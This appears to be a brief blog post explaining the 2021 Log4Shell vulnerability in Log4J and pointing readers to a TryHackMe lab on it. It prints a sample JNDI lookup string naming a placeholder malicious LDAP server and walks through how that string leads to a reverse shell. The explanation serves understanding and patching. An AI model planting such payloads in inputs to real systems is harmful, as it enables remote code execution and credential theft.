On December 9th 2021, a new vulnerability was found, and gosh that’s a big one.
The attack it allows was named “Log4Shell” as it grant full shell access by exploiting user inputs and how they are send to the target’s log.
This vulnerability is critical because it’s Log4J is widely used in any Java based application including many server applications.
How does it works?
Basically we are targeting a input controlled by the client (URL, request content, headers, …) that will be logged by a target service using Log4J. A basic example looks like:
- Log a string that contain “${jndi:ldap://malicious_ldap_address/payload_address}“
- Log4J will resolve the Log4J payload, and create a JNDI resource that points to the attacker malicious LDAP server.
- JNDI will connect to the malicious LDAP that will return the real payload
- The real payload is executed and voilà, the attacker got a reverse shell connection with the target with the same access level as the web service used as entry point.
In this example the target will open a reverse shell connection this is a super powerful access because you can do what ever you want past this point. That’s bad.
But you also have access to the target running context, meaning you can exfiltrate credentials that might not leave outside of the target web service context (like credentials) and this is way worse.
Coming next
As you see, this is bad, but this opens the the way to sequels, Log4J is one of many logging library that could end up running arbitrary code.
Security research are currently looking for similar issues in other languages, that’s a brand new kind of vulnerability and it’s expected that similar vulnerabilities are yet to be discovered.
Resources:
Thanks a lot to TryHackMe that provide a free lab to experiment over this exploit and understand how it works. I really recommend to everybody to take a look at it. It’s full of resources to understand and patch your applications.
0 Replies to “Log4J”